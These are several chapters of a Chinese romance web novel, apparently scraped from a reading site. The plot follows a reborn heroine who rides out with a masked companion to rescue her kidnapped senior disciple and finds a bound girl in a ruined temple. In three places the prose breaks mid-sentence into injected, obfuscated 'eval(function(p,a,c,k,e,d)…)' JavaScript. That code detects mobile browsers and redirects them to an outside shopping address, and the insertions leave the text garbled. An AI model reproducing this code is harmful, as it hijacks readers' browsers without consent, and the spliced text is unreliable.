最后出来的萧琢时将内室的门关好,正堂彻底陷在一片黑暗中。好在蓝袍少年及时点了灯笼,挂到院子前。 几个太子亲卫在外粗声粗气闲谈,内容不外乎例行巡察、宵禁等琐事。 容锦簇对此不感兴趣,只能在昏暗中坐下来,跟萧琢时一起干等。 突然,内室门被人粗暴地一把撞开,江望灿捂着头,踉跄着步子歪歪斜斜走出来。 容锦簇一惊:“师兄!” 身后传来江玉严厉的声音:“锦簇!看好你师兄,让他在门口吹吹风,不许到外面去。” 容锦簇手足无措地应下,赶紧上前扯住江望灿。 江望灿呼哧呼哧喘着粗气,倒像是犯了什么病。想起白日里师兄服下的药,容锦簇蹙眉,难掩担忧:“师兄,是不是药失效了?我去找师父要!” 江望灿将脸侧过来,定定瞧着她。距离太近,容锦簇足以看清他的眼瞳。 对视的一瞬间,她手臂一麻,极力控制着不让自己因受惊而猛然跳开——师兄的眼睛红得惊人,简直像要将她活生生吃掉一样! 好在师兄的意识还清醒:“不用,师妹,不用服药,一会儿就过去了。” 一时间,容锦簇也不知该怎么办,只得紧紧抓着江望灿,尽力掩饰住自己的不安。 良久,江望灿终于叹了口气。 “师妹。” “怎么了?” “你要把我的袖子扯破了。” “……” 容锦簇赶紧松开手。 萧琢时斜倚在墙边,含笑接话:“容二姑娘,实在害怕,也可以抓我的。” 她才不要呢! 容锦簇慢慢瞪大了眼睛,气呼呼背过身:“我没说害怕。” 萧琢时:“那就是担心了。” “更没有担心!” 昏暗中,萧琢时轻轻笑了一声。 “那刚才,你为什么一直看着床上那人?” 容锦簇一时语塞:“我我我,我想看谁就看谁,我还看你呢。” 萧琢时微微挑眉:“是吗?要不我摘了面具,让二姑娘好好看看?” “你!”被他一逗,容锦簇气不过,“你是流氓么!” 嘴上虽然逞强,她自知心乱如麻,只能藏起更深的担忧。 无论她多么急切地想了解萧逐夜的病,都绝不能在此时开口询问这儿的人。毕竟在外人看来,容家不是太子党,她跟当朝太子亦毫无关系。 容锦簇忽然感觉门外冷风凄凄,似乎有哪里不太对劲。 太子亲卫的闲聊声消失了,院子里静得可怕。 她身边也静得可怕。 江望灿不知何时悄悄溜了出去。 容锦簇赶忙迈出正堂,院里空荡荡的,蓝袍少年还守在屋外,睁着一双清澈的眼睛跟她对望。 她犹豫了一下,先问:“他们……” “姑娘是想问公子的那些属下吧?”少年抢先一步笑着回她,“他们还有要事在身,先走了。” 容锦簇举目四望,院门虚掩,只剩一道狭窄的小缝,任凭夜风乱钻。 “那我师兄呢?在门口吗?” 少年挠挠头:“跟姑娘一起来的那个公子吗?没注意。” 容锦簇心下倏地一惊,奔过去拉开院门。 门前小巷被夜色浸没,看不清有没有人影:“师兄,师兄!” 无人应答。 她折身飞奔回屋,萧琢时也察觉到异常,严肃起来:“我一直在这,没见他回来。” 容锦簇顿时急得如同热锅上的蚂蚁,恰在这时,内室的门再一次开了,两位老太医笑呵呵跟着江玉走出卧房。 江玉瞧见容锦簇,当即正色:“江望灿呢?” 一阵狂风平地起,挂在院前的灯笼猝不及防熄灭了,正堂没入无边无际的黑暗。 寂静中,容锦簇倒吸一口凉气。 她怕极了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484495|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种伸手不见五指的漆黑,仿佛被世界所抛弃,一个人孤零零站在永恒长夜里。 浑身发冷,她根本不知道自己什么时候开始打颤,直到一只手扣在她身后,稳稳扶住了容锦簇。 萧琢时划亮了火折子,举到半空,驱散了黑沉沉的夜色。 亮光中容锦簇仰起头,瞧见他紧绷的下颌,薄唇一张一合:“我现在联系幽冥阁。” “还不知道师兄是自己出去了,还是被人捉去了,怎么能直接让幽冥阁出动?” “被人捉去了。”萧琢时眸色一深,语气也彻底变得凝重,“你是否记得,方才在内室,有个侍卫说药味太浓。” “床上躺着的是他主子,怎么敢贸然这样说?”他骤然将目光转向容锦簇,“他说的是你师兄。” 容锦簇生生打了个激灵,一股凉气蹿上来,寒意彻骨。 江玉知道,准是没看住。深深叹了口气,她俯下身,就地打开医箱,翻找出一只藏在角落的小瓷瓶,从中倒了两粒圆滚滚的棕色小药丸,递给容锦簇。 “我在望灿身上种了追踪术。服下这个,无论隔多远都能闻到他身上的草药味道。” 容锦簇垂头看向药,忽然掌心一空。萧琢时轻车熟路从她掌心捏过药,对江玉承诺:“我身手好,对这些人的行迹也熟。明日日落前,保证将人完好无损带回来。” 直到现在,容锦簇感到后脖颈还在控制不住地发着颤。 她分不清这是没保护好师兄的自责,还是师兄突然消失的恐惧。双腿打颤,张了张嘴,发不出一丝声音。 内心无数道声音缠着她,太晚了,还是她最害怕的夜里,师兄弄不好甚至会见血,她不敢见到那样一幕…… 下一刻,容锦簇咬紧了牙,将手颤颤巍巍伸了出去。 她是要做反派的人,怎么能,怎么能怕血呢! 她从萧琢时手里抢回了药:“是我没看住师兄……我去。” 萧琢时不同意:“太危险了,你留下等消息。” “行了。”江玉早有预料,提前终止了这场拉锯战,“两颗药,不是很明显给你们俩准备的么?” 师父还真是了解她啊。 容锦簇松了口气,赶紧吞下一颗药。 一瞬间,她只觉自己比之前耳聪目明了数倍,连远处几声犬吠都能听得清清楚楚。鼻尖萦绕着一股极其明显的草药味,很明显是从南边飘来的。 “南边!” 容锦簇刚说完,萧琢时已从后院马厩中牵了两匹马出来。蓝袍少年哭天抢地跟在身后,连连阻拦:“二公子,这可是公子最宝贝的惊云和逐风啊,您给骑坏了怎么办……” “救人要紧。”萧琢时将惊云牵到容锦簇面前,“我知道分寸。放心,告诉你家公子,真有意外,我亲自请罪。” 来得及产生丝毫犹豫,容锦簇掀起裙摆,翻身上马。 惊云只需一扯缰绳,已经自觉往外跑了起来。很快,逐风也追了上去。 寂寂深夜里,两匹快马载着青裙少女和银面青年,往最南边的城门疾驰而去。 逐风很快追上惊云,萧琢时紧了紧缰绳,跟容锦簇保持同速:“容二姑娘,驯得了烈马,好本事。” 容锦簇面色惨白,夹在马肚子两侧的双腿僵硬无比,怎么也放松不了:“我不会驯,只骑得了乖顺的马儿。” 惊云不知是不是感受到了马背上主人的惊恐,突然一尥蹶子,长嘶一声,往前不要命地狂奔起来。 “太用力了!”萧琢时策马在后面追,声音从风中遥遥传来,“二姑娘,别夹它,还有缰绳,不要死死勒着!” 11. 第 11 章 容锦簇在马背上颠得想吐。 她凭本能死死抓着缰绳,听到银面桃花的声音后,容锦簇强忍着心脏快要跳出来的颠簸和五脏六腑几乎错位的痛苦,咬紧牙关,松开一点缰绳。 毫无作用。 容锦簇脸上最后一丝血色也没了,两腿越发僵硬,动弹不得。 更要命的是,前方不远处就是城门! 再不减速,要么她和惊云一头在城门上撞死,要么她和惊云踏死前来阻拦的守兵,她也将因罪下狱,不日斩首。 容锦簇深陷绝望之时,一声清脆的呼哨蓦地从身后响起,短促有力。 下一刻,奇迹发生了,惊云的四蹄似乎在半空中一滞。紧接着又是一声呼哨,这回,惊云终于彻底慢了下来,从狂奔到小跑,最后恢复到慢慢走。 容锦簇这才发觉,她的后背几乎湿透了。 她虚虚抓着缰绳,既不敢用力,也不敢不用力。救了她一命的银面桃花已经追上来,向她伸出手:“抱歉,早知道我的号令对惊云也有用,我一定提前喝止它。” “你还能撑吗?先下来!” 容锦簇比任何时候都渴望能抓住那只手。 但她一晃神,又想起了床榻上身形消瘦憔悴的萧逐夜。 现在的他,几乎一点也看不出前世漂亮矜贵、丰神俊朗的帝王英姿。 容锦簇咬咬牙,坐直了身体,摇摇头:“不用。如果我现在下马,就再也没办法重新上路了。” 萧琢时眼里划过一丝笑意。 但是他反应何等敏锐,很快,再也笑不出来了,唇角绷直:“二姑娘想到了谁?” “……” 沉默在夜色中迅速蔓延。 半晌,还是容锦簇努力打破了死一般的寂静:“那个。” “哪个?” “我们到城门了。” 几个守夜的侍卫揉着眼挡在城门口,帽上戴红缨的侍卫长站在最前,顶着一副凶神恶煞的神情:“来者何人!不管你们有何目的,城门已关,夜间禁行!” 萧琢时抬高缰绳,容锦簇赶紧照办。惊云和逐风踏着优雅的步子,向前慢行。 距侍卫长还有几丈远时,萧琢时从怀里摸出一块金令,往半空一抛。 “幽冥阁部下桃花,奉二殿下的令,出城捉人。” 听见二殿下这个称号,侍卫长脸色蓦地变了。慌忙朝前一扑,手忙脚乱接住了那块金令。 “原来是幽冥阁和二殿下的意思……”验明了令牌,侍卫长仍然目光闪烁,迟疑不定,“这位大人,虽然您有特令,恐怕小人还是不能……” 握着那块金灿灿的令牌,侍卫长闭了闭眼。两边他都得罪不起,万般无奈之下,扑通一声跪地:“请恕小人无法放行!” “原因。” 一听这话,侍卫长如蒙大赦,忙不迭归还萧琢时的令牌:“小人奉太子殿下手令,大人见谅。” 闻言,容锦簇和萧琢时对视一眼。 夜风一拂,容锦簇有些迟疑了:“要不……我们明早再出城?” “容二姑娘,这件事不能等。”萧琢时眼里似乎有化不开的雾,“我无意让你师兄送命。” 容锦簇整个人滞住了。半晌,轻轻地问:“什么意思?” “容二姑娘,我求你救的人是当朝太子。” 银面桃花第一次在她面前这么坦诚,“那些人是太子亲卫,但并非都效忠太子。几日前我听闻,太子的病实则为蛊毒,而其中一种解法,以药人饲之。简单说,就是放掉药人全身的血。” “我很抱歉。”萧琢时垂下眼,“我没想到你师兄会是。” 容锦簇浑身剧烈颤抖起来。 她想起师兄当日撞进面具摊子。恐怕也不单是寻她太着急,更多的是因为身体难以控制吧。 还有他服用的药…… 不能等了。 容锦簇下定决心的同时,萧琢时忽然放出一声有力的呼哨。紧接着,逐风毫不迟疑狂奔起来。 一时间,容锦簇惊得七魂丢了六魄:“你疯了!前面是城门!” 萧琢时却毫无停下的意思:“太子殿下真要治罪,让他去找二殿下!” 这话显然说给侍卫长听,一时间,侍卫长脸色难看至极,连滚带爬往城门前赶,终于眼见躲不过,厉声嘶吼:“让他过去——” 两侧侍卫合力,城门缓缓推开一道缝,下一刻,逐风轻盈的身姿从中一跃,飞了出去。 惊云这才加速,跟着有惊无险地跑了出来。 容锦簇半晌才缓过劲,牙齿尚在咯咯打颤:“你怎么知道,侍卫长一定会让你出城?” “幽冥阁,太子,二皇子,他一个也得罪不起,放我出城是他唯一的选择。” “那太子责问他怎么办?” “没拦住呗。”萧琢时漫不经心扯了扯缰绳,“不用担心,不会有人找他麻烦,我保证。” “你这是在赌。”容锦簇一回想,还是心惊胆战,“太冒险了。” 萧琢时挑眉:“这是担心我?” 隔着面具,容锦簇看不到,却不妨碍她想象出银面桃花格外欠收拾的那副表情。 她沉默片刻,转移了话题:“那你怎么会有二殿下的令牌?” “二皇子不过一介富贵闲人。”萧琢时毫不在意,“他和幽冥阁关系不浅,借一块令牌又不难。” 容锦簇顿了顿:“你为什么总是能……这么肆无忌惮地往前闯呢?无论是让马儿听话,还是对付侍卫长,向二殿下借令牌,好像都很容易。” 猎猎夜风里,萧琢时袖袍翩飞,侧过身,透过那张严密的银色面具,朝她一笑,风华灼灼。 “别怕。驯马如制敌,你越怕,对方气焰越嚣张。” 出了京城十几里,两人很快循着药草味穿过萧瑟的灌丛疏林,抵达一片开阔的荒地。 萧琢时在荒地尽头勒住马:“前方没有路了。” 容锦簇不信邪,跟上前看。 果然如银面桃花所说,这片野地其实是一座荒山的山头,往下是一面不高不低却格外陡峭的悬崖,崖下奔流着白浪翻腾的滔滔江水。 然而那道草药味道却变得更浓烈了,扑面而来。 容锦簇面色苍白如纸,眼前逐渐展现出一幅十分惨烈的景象:“难道师兄不敌他们,以死明志,从这儿跳下去了?” “咳咳……师妹,你师兄还没那么有骨气……” 一道微弱的声音从斜后方传来,江望灿奄奄一息,趴在荒地一侧的野林边缘,一手撑地,勉强抬起半边身子来,艰难地朝容锦簇伸出另一只手:“师妹,快点扶我一下……” 没等容锦簇赶到他面前,一股强悍的力量已经将江望灿毫不留情一把拽起,扶在自己肩上。 江望灿被扯得一个趔趄,心不甘情不愿地靠在萧琢时肩上:“喂,我让你救了吗。” “举手之劳而已,师兄不用跟我客气。” “谁允许你喊我师兄了!”江望灿差点暴跳如雷,可惜还没发火,先泄了气,重新歪回萧琢时身上,“我头晕,谁能先帮我止个血啊?” 容锦簇赶到,慌忙接过江望灿,将他搀到一块略平滑的岩石旁:“师兄,你先坐下。” “我们没有麻布和金疮药,怎么办?”她下意识求助银面桃花。 “嘶”的一声,萧琢时利落地从江望灿衣袖撕下一截:“我去找止血的药草。” “你你你,你替我包扎好歹撕你自己的衣裳啊!”江望灿歪在师妹怀里,泪眼汪汪,“师妹你看他!” 容锦簇无奈:“师兄,你再撑一下,他一会儿就回来。” 话音刚落,萧琢时已经回来了。 他蹲下身子,将葛根叶、侧柏叶等草叶用小石头碾碎了,问:“伤口在哪?” 容锦簇急忙撩开师兄左侧衣袖,没有。再撩开右侧,也没有。 难道在腿上? “别找了。”江望灿伸出左手,左手食指上赫然划出一道凝着血珠的伤口,他气息奄奄道,“快给我止血。” “……” “……” 萧琢时唇角一翘,看在江望灿受惊一场的份上,还是用草药敷了一遍,将那条略显宽大的衣袖布条在他指尖上缠了十几圈,包得跟粽子似的:“是吗?伤得真重啊。这么严重的伤,师兄差点没疼死吧?” “可让你说对了。”江望灿长长吐出一口气,神情幽怨至极。 “他们让我滴了那么多血,仅仅为了试我到底是不是他们要找的人,幸好不是。” 听到这里,容锦簇提着的心这才放下,跟着松了口气。 她放下心,萧琢时却变得更加凝重:“师兄是用什么方法抑制了血的特殊之处吧?一旦他们反应过来,还是会找上你。” “哎,江琢。你说你这人,怎么什么事都瞒不过你呢。”江望灿耸耸肩,“无所谓,他们暂时没发现就够了。” 容锦簇此刻根本没心情管这个,连珠炮似的追问:“师兄,你们怎么出的城?他们现在在哪?你是逃出来的?你——” “停!”江望灿赶紧打断了,“师妹,你要问死我哪。” 尽管如此,他还是老老实实回答:“出城的时候,他们有太子手谕,我还听见那个人跟守城门的说,如果有人来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484496|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 追,一概拦着。把我带到这荒山野岭一座破庙里验了身份,发现不是我,他们就扔下我回去了。我等了好久才敢跑出来,幸好没再遇到他们。” “破庙?”萧琢时捕捉到重点,“在附近吧?” “在那边。”江望灿顿了顿,忽然想到,“那里应该是他们老巢!要不要回去看看?” 有了萧琢时,好像多了份底气。 不加犹豫,三人沿着江望灿逃跑的路线原路返回。江望灿平时不靠谱,记性却好得惊人,没怎么费劲就摸回了破庙门口。 一座荒废多年的破庙孤零零立在渺无人烟的深林里,因为太过陈旧,连扇窗户都没有,只剩下两个黑洞洞的框子,如眼睛般空空地盯着来人。 周围静谧得落针可闻,忽然几声寒鸦聒噪,容锦簇一个激灵,迅速躲到了银面桃花身后。 萧琢时淡定地护住她,全然不顾江望灿恨不得吃了他的怨怒神情:“师兄,你对这儿熟,先进去探探路。” “你怎么不去?”江望灿脸上写满了大大的拒绝,“我对这儿有阴影。” 萧琢时没再推辞,先踏了进去。 容锦簇攥了攥拳,心想外面也不见得多安全,紧随其后。 江望灿站在门口磨磨蹭蹭了许久,还没做好心理准备。直到萧琢时划亮了火折子,他才赶紧躲进来。 破庙里放了灯,但贸然点起来,还是太容易被发现。 萧琢时低声道:“二姑娘,光线暗了点安全,跟紧我。” 他夜视能力不错,借着微弱的火光将破庙的布局环顾了个大概。 那些亲卫或许心里有鬼,提前清理了这座庙,偌大一块地方连一尊神像也没有。 角落倒是杂七杂八堆了许多箱匣笼龛,萧琢时随手掀开最上面一只箱子,入眼就是数不尽的金银。 他神色沉了沉,随即恢复如常,继续向前走。 容锦簇寸步不离跟着他,却又始终不肯拽住他衣服,一边打哆嗦一边紧追着他的步子往深处查探。 萧琢时弯了弯唇,凭感觉将没拿火折子的手往后递。 身后容锦簇的动静短暂地消失了片刻,然后传来她小声的嘀咕:“我才不怕,不需要你抓着我。” “是我怕,行吗?”萧琢时低声下气,“容二姑娘,真是有劳你抓着我的手腕或者衣裳了。” 容锦簇继续嘴硬:“想不到,幽冥阁也会出你这样胆小的属下。” 果然一个小小的银面桃花,还是斗不过她这个大景朝第一反派太后啊! 萧琢时无奈:“听这话,二姑娘胆子很大?” “那当然了!”容锦簇连自己都骗了过去,昂首挺胸,“就算让我走前面,我也一点儿不怕。” 闻言,萧琢时身子一侧,让出了路。 “那就麻烦容二姑娘走前面,为我们开路了。” “……”容锦簇没想到银面桃花真要让她走前面,慌了一瞬,艰难地为了面子死死撑住,“走就走!” 经过萧琢时身边,她毫不犹豫,抓救命稻草似的,一把薅住了萧琢时的袖角。 “我牵着你,你不用怕。” 萧琢时眼底笑意更浓,忍住了笑,一本正经地回:“多谢二姑娘,在下突然没那么害怕了。” 容锦簇抓着他的袖角,安心不少,连迈出去的步幅都扩大了一些。 下一刻,鞋尖不负众望,踢到了一团软软的东西。 容锦簇大惊失色。 “啊啊啊啊啊啊啊啊啊救命啊!” 与此同时,那团软软的东西像一尾鲤鱼似的疯狂扭动起来,向她靠近,容锦簇吓得连连后退,拼命往萧琢时身后躲: “阿琢救我!” 萧琢时一脚踹过去,那团东西瞬间安静下来,接着,竟然发出了唔唔的叫声。 萧琢时举高火折子,照向那团东西。 在火光映照下,容锦簇也看清了,那团“东西”赫然是个人! 那人双手剪在身后,用粗绳牢牢捆着,嘴里还塞了一团布。 萧琢时伸手摘掉对方口中的布,绕到背后替那人解绳子。 容锦簇也蹲下来,拿自己的帕子帮这人擦了擦脸。 擦着擦着,她突然顿住了。 在她掌心下,少女扬起那张脏兮兮的小花脸无助地瞧着容锦簇,乌黑透亮的眸子里蓄满了眼泪。 仿佛为了印证容锦簇的猜测,她终于张开嘴,含着浓浓的哭腔,像只雏鸟似的,要多可怜有多可怜,无比惹人怜爱地叫了一声:“恩人!” 容锦簇同样花容失色,脱口而出:“万贵妃?” “恩人!” 12. 第 12 章 话一出口,容锦簇就后悔了。 这会儿萧逐夜都还没登基,哪来什么万贵妃? 只是骤然见到死而复生的故人,还是仇人见面分外眼红,她一时情感战胜了理智,不慎口不择言。 意识到自己失言,她当即乖乖闭了嘴。 好在银面桃花一直垂着眼尝试解开绳索,似乎对她和万贵妃的话闻所未闻。 终于,粗绳一松,掉落在地。 万贵妃低下头,举起终于自由的双手,不认识般左右看了看。 终于,她确认自己再也不受那副绳索束缚了,猛地抬起头,眼神里充斥着感激,下一秒,少女两眼一翻,直挺挺往后晕了过去。 这一晕,差点砸进萧琢时怀里。 萧琢时眼疾手快一拨,万贵妃摇摇欲坠的身子停止了往后倒,随即径直向前倒下来,又软绵绵撞进容锦簇怀里。 容锦簇抱着昔日仇人,一时无言以对。 她想不到还有这样跟万贵妃诡异相拥的一天。 前世她处处忍让闪躲,见到万贵妃就恨不得绕道走,却被不依不饶的万贵妃生生迫害到差点打入冷宫。 万贵妃单方面斗了她一辈子,唯独临死前,带着一身血跌跌撞撞闯进她宫中,在她裙摆上留下了一串鲜血淋漓的手印。 容锦簇永远也忘不了那一刻,万贵妃死死盯着她,带着绝望的恨意:“容锦簇……我们所有人都被骗了,被骗了!我现在就告诉你真相……” 说到这,她头一歪,咽下最后一口气,死在了容锦簇怀里。 容锦簇因为这番恐怖的经历做了一个月噩梦,只要一闭眼,仿佛就能看到万贵妃的死相。 但是此时此刻,她颤抖着手,忍住了害怕,只想把万贵妃摇醒—— 那个真相,到底是什么啊! 她为此好奇了整整十年! 不知道是不是她虔诚的执念起了作用,万贵妃摇摇头,缓缓清醒过来。 少女眼睛亮晶晶的,视线追随着她移动,看起来天真无邪,不谙世事。全然不像前世那个飞扬跋扈、无恶不作的贵妃娘娘。 容锦簇见她醒了,拍拍手就要站起来,万贵妃就像一只黏人的猫儿似的挂在她肩上,怎么也挣脱不掉。 “松手。”容锦簇冷脸。 “恩人,你声音真好听。”万贵妃眼里仿佛闪着星星,满脸痴迷,“恩人,你像天上下凡的神仙,真好看。” 容锦簇:“……” 偏偏这会儿,她还只能装出一副不认识万贵妃的模样:“你是谁,怎么会在这里?” “我不知道。”万贵妃摸摸脑袋,格外诚实,“我一醒来就在这里了。” “醒来之前呢?” 万贵妃摇摇头,一直朝容锦簇笑:“不记得了。恩人,你真好看。” 容锦簇:“……” “名字,家世,住处,都不记得了吗?”她不可置信,“你失忆了?” “可能吧。”万贵妃傻乎乎地靠在她身上,无比信任,“反正不记得了,既然如此,我就跟着恩人回家啦!” 轰隆一声,晴天霹雳。 容锦簇急了,她才不想带回去万贵妃这个大麻烦:“不应该啊!你姓万,名字唤作万嫣然,是抚远侯府三姑娘,家住长乐街从东往西数第二户,这些你怎么能不记得?” “你十二岁的时候从马背上摔下来过,差点瘸了一条腿;十四岁在外祖家跟表妹吵架,气得连夜收拾包袱回了京城;十六岁被贼人掳走,不慎撞到脑袋导致失忆,幸得太子殿下搭救,然后就无可救药地倾慕于他——” 说到这,容锦簇终于后知后觉,瞪圆了眼睛,不可置信地指了指自己:“我,替太子殿下救了你?!” “已经很明显了。”银面桃花靠在一旁,幽幽地说。 容锦簇手足无措,偏过头,小声向银面桃花求助:“现在怎么办?” 万贵妃也跟着偏过头:“恩人,这是你相公吗?你相公也真好看!” “我不是你恩人,他才是你恩人。”容锦簇费了好大力气,才将万嫣然从身上扯下来,“绳子是他解开的,堵嘴的布也是他帮你拿掉的,你找他报恩去。” “可是,他踢了我一脚。”万嫣然看看萧琢时,回头无比认真地对容锦簇说。 “……这你倒记得挺清楚的!” “先回去吧。”银面桃花道,“我搜过了,他们很谨慎,没在这儿留什么证据。” 事到如今,容锦簇也没有别的办法。 她只好站起来,拍拍衣裳上因万贵妃而沾上的灰,提起沉重的步子向外走去—— 啪嗒。 很不巧,她又踢到了一样东西。 银面桃花将火折子一斜,俯身捡起,对着幽暗的火光照了两下,他嘴角忽然弯出一丝笑:“容二姑娘,头等功啊。” “什么?”容锦簇带着几分泄气,怏怏地问。 “这是幽冥阁的腰牌。”萧琢时的笑意不断扩大,含着一丝说不清道不明的暗讽,“真没想到啊,这群人居然跟幽冥阁也有勾结……如此最好,咱们有证据了。” “什么证据?”万嫣然懵懵懂懂。 面对万嫣然,银面桃花却收起了唇畔笑意,冷冷道:“跟你没关系。” “没关系就没关系嘛。”万嫣然小声咕哝,扯着容锦簇的手摇了摇,“恩人,你相公怎么这么冷漠。” 容锦簇神情麻木:“他不是我相公!” “真的?”万嫣然仔细瞧了瞧她的表情,立刻兴高采烈起来,“我就说,你的眼光绝不会那么差!” …… 天光大亮。 小院中,江玉和萧逐夜对坐桌前,相顾无言。 萧逐夜面色苍白,轻轻咳了一咳,掀唇开启话题:“医圣从鬼王谷日夜兼程赶来,实在辛苦。如今一切皆因我起……” “太子殿下不必这么说。”江玉打断他。 萧逐夜眼底闪过一丝惊愕:“我没说过我是太子……” “殿下的母亲与臣有几分交情。”江玉神色僵硬,显然不习惯如此叙旧,攥着手淡淡道,“臣从前见过殿下,殿下眉眼之间,仍有少时影子。” 萧逐夜默然沉思一会儿,忽然抬起眸,神色急切:“您就是母后从前挂念的那位江姑娘?” 江玉似乎松了口气,眼里蕴了一抹笑:“我就是。” 萧逐夜忙道:“那我当唤您一声姨母。” 江玉:“太子殿下,这与礼不合。” 萧逐夜听出她没有抗拒之意,也就笑了笑,坦然问:“姨母,那戴面具的那位……您可知道他是谁?” 江玉摇头。 萧逐夜展颜,苍白一笑:“那是我弟弟,萧琢时。” “二弟生性跳脱,为磨炼他,父皇默许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484497|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他进幽冥阁……如今似乎已经走到数一数二的位置了。”萧逐夜慢慢思索着,声音有些吃力地断断续续,“姨母,我想着,若我不测,您看以二弟的资质……” 他说到这,轻轻停住了,抬眸望向江玉,眼底若琉璃清透澄澈。可惜彩云易散琉璃脆,再美的东西,也总有消逝的一天。 “太子殿下。”半晌,江玉似乎下了很大决心,缓缓闭了闭眼,“殿下的病其实不是无药可医。” “眼下只有两条路。”随即她平静地睁开眼,声音平淡无澜,“一条路,需要殿下跟臣回鬼王谷。另一条路,牺牲江望灿。” 与此同时。 京郊坐落于山脚的一处小村庄,风景秀美,人烟稀少。 村头第一户人家已经支开了门,小厨房里袅袅升起雪白的炊烟。 后院,浑然不知自己处境危险的江望灿挽起袖子,卖力地劈着一堆木柴。 萧琢时靠坐一旁,闲闲叼着一根草。 “江琢,你就算不出力,也不能坐在旁边看吧?”江望灿挥斧重重一劈,语气忿然,“我饿了一夜,又没吃饭,又要逃跑,还要随你们赶路,论力气,你肯定比我保存的多。” “哪有让救命恩人帮你干活的道理?”萧琢时吊儿郎当撑着双臂,“快点,不然等会儿你师妹来了,我不好交代。” 江望灿狠狠切了切牙,埋头用尽全力砍下一斧。那架势,不像在劈干柴,倒像在劈萧琢时似的。 萧琢时丝毫不怕,笑意不减:“师兄,别把斧头砍坏了。” 江望灿喘了口气,实在累得没辙,往柴堆上一躺,扶着斧头没话找话:“江琢。说到师妹,你跟我师妹是不是那种关系啊?” “哪种关系。”萧琢时漫不经心抬了抬眉,不过隐藏在面具下,江望灿没能瞧见。 “就是,就是……你肯定知道!”江望灿支吾半晌,气呼呼一撂挑子,“你就说是不是吧!” 萧琢时拿掉那根草,仰面望天。 就在江望灿以为他不会回答时,半空中缓缓传来轻飘飘的一句:“我哪知道。” “……江琢,我劈不死你!” 不同于后院的杀气,前院小厨房里,容锦簇和万嫣然一左一右围在灶炉前,帮老婆婆烧火煮饭。 本来她们准备直接回京,谁料半路上万嫣然就吵吵嚷嚷说饿。 她不说还好,说着说着竟哭起来。这一闹,江望灿也饿了,往地上一坐,一副不吃饭就不走的架势。 容锦簇对这两个宛若幼童的二十岁青年和十六岁姑娘毫无招架之力,又担心半道出岔子,最后银面桃花拍了板,找临近村庄借顿饭,出了什么事他担责。 接待她们的是个年近八十的老婆婆,此刻正坐在两人中间,笑眯眯地抬手摇着扇子,将火候控制得恰到好处。 馒头的香气幽幽飘散到半空,馋得万嫣然眼巴巴盯着锅猛咽口水。 见状,老婆婆笑呵呵:“姑娘,瞧你这衣裳倒像个富贵人家小姐,珍馐佳肴尝遍了才是,怎还馋这顿馍馍?” “她撞到脑袋,不记得了。”容锦簇帮万嫣然回答。她蹲在一旁添柴,动作小心翼翼。 老婆婆又转过脸来,一脸八卦:“姑娘,那两个后生,看着都跟你熟,跟这个小姐不怎么亲近,他们是你什么人哪?” 容锦簇下意识实话交代:“一个是我师兄,一个是——” 13. 第 13 章 她猛地噎住。 银面桃花是她什么人呢? 情郎?必然不是,至少这辈子还算不上。 那按前世又算什么呢,朋友,仇人……前夫? 容锦簇赶紧摇摇头,将这个念头甩出去,她跟银面桃花可没闹到成婚的地步。 “那是她相公!”万嫣然像只小鸟似的在旁叽叽喳喳叫起来。 顿了顿,她想起容锦簇否认了这件事,赶紧小声找补,“以前是,现在不是了。” “……………” 容锦簇心都死了。 万贵妃的理解能力还真是跟前世如出一辙啊。 她无言抬起一只手遮住眼,只听身后有人愉悦地笑了几声。 银面桃花不知何时出现在厨房门口,含笑向老婆婆问了声好,这才转过脸,闲闲靠着门框,语调戏谑:“容二姑娘,这回倒没急着否认啊?” “你我有什么关系?”容锦簇气鼓鼓拂开手,“清者自清。” 银面桃花摊开手,往侧边瞥了一眼:“师兄这回听见了?二姑娘亲口所说,可不关我的事。” 隔墙有耳,江望灿被点了名,只好从墙边慢慢挪过来,脸上挂着灿烂的笑,一张口仍然阴阳怪气:“江琢,这就怨不得师兄说你了。好端端的,你诈师妹做什么。” 容锦簇视线在两人身上反复巡了巡,不知为何,仿佛一瓢冷水泼过,本还又气又恼的心思一瞬间冰了下去。 她埋头继续做自己的事,直到老婆婆笑眯眯提醒:“可以了。” 容锦簇这才站起身,万嫣然早端着菜送到院里去了,厨房里只剩她和老婆婆两人。 老婆婆意味深长盯着她,每一道皱纹里都藏着和善的笑意。 “姑娘,从京城过来的罢?” 容锦簇不明所以,点点头。 “也难怪,花骨朵似的姑娘,真不像缺银子的人家能养出来的。那俊后生呢,瞧着像个高手,却又不像常年行走江湖的人,倒像是非富即贵的大户子弟。” 